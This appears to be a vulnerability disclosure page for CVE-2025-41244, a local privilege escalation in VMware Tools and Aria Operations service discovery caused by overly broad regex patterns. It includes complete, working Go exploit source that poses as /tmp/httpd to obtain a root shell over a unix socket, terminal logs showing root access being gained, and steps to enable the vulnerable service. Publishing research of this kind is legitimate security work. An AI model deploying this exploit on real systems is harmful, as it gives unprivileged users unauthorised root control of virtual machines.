CVE-2025-41244
Local Privilege Escalation through VMware Tools and/or VMware Aria Operations due to bad regexp in the serviceDiscovery get-version.sh
script.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
The usage of the broad‑matching \S
character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd
). Target system must have serviceDiscovery installed which can be found by running dpkg -l | grep vm-tools
or browsing the directory /usr/lib/x86_64-linux-gnu/open-vm-tools/
and look for ./serviceDiscovery/scripts/get-versions.sh
.
Service Discovery runs once every 5 minutes.
Vulnerable versions
VMware Cloud Foundation 4.x and 5.x
VMware Cloud Foundation 9.x.x.x
VMware Cloud Foundation 13.x.x.x (Windows, Linux)
VMware vSphere Foundation 9.x.x.x
VMware vSphere Foundation 13.x.x.x (Windows, Linux)
VMware Aria Operations 8.x
VMware Tools 11.x.x, 12.x.x, and 13.x.x (Windows, Linux)
VMware Telco Cloud Platform 4.x and 5.x
VMware Telco Cloud Infrastructure 2.x and 3.x
Requirements
serviceDiscovery must be installed
Binary name must match regexp check in get-version.sh e.g. /tmp/httpd
Binary must appear as a network service
PoC || GTFO
Vulnerable system:
kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » id
uid=1001(void) gid=1001(void) groups=1001(void)
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
## Verify that process appear as a network service
kdev :: ~/poc/vmtoolsd » ss -lptn | grep httpd
LISTEN 0 4096 127.0.0.1:32837 0.0.0.0:* users:(("httpd",pid=25343,fd=3))
## A shell will spawn within 5 minutes.
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)
Non-vulnerable system, manual poc:
kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
kdev :: ~/poc/vmtoolsd » sudo ./get-version.sh
VERSIONSTART vcops_version VERSIONEND
VERSIONSTART srm_mgt_server_version VERSIONEND
VERSIONSTART vcenter_appliance_version VERSIONEND
VERSIONSTART db2_version VERSIONEND
VERSIONSTART tcserver_version VERSIONEND
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)
Source code
// CVE-2025-41244.go
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
Install Service Discovery
kdev :: ~/poc » sudo apt install open-vm-tools-sdmp
kdev :: ~/poc » sudo vmware-toolbox-cmd config set servicediscovery disabled false
kdev :: ~/poc » cat /etc/vmware-tools/tools.conf
...
[servicediscovery]
disabled=false
kdev :: ~/poc » sudo systemctl restart vmtoolsd
After installing and restarting the service locally you may need to configure the Service Discovery adapter in your VMware management tool, such as vRealize Operations, to start collecting. Only then will the exploit trigger automatically.
Full blog post here: https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/
Last updated
Was this helpful?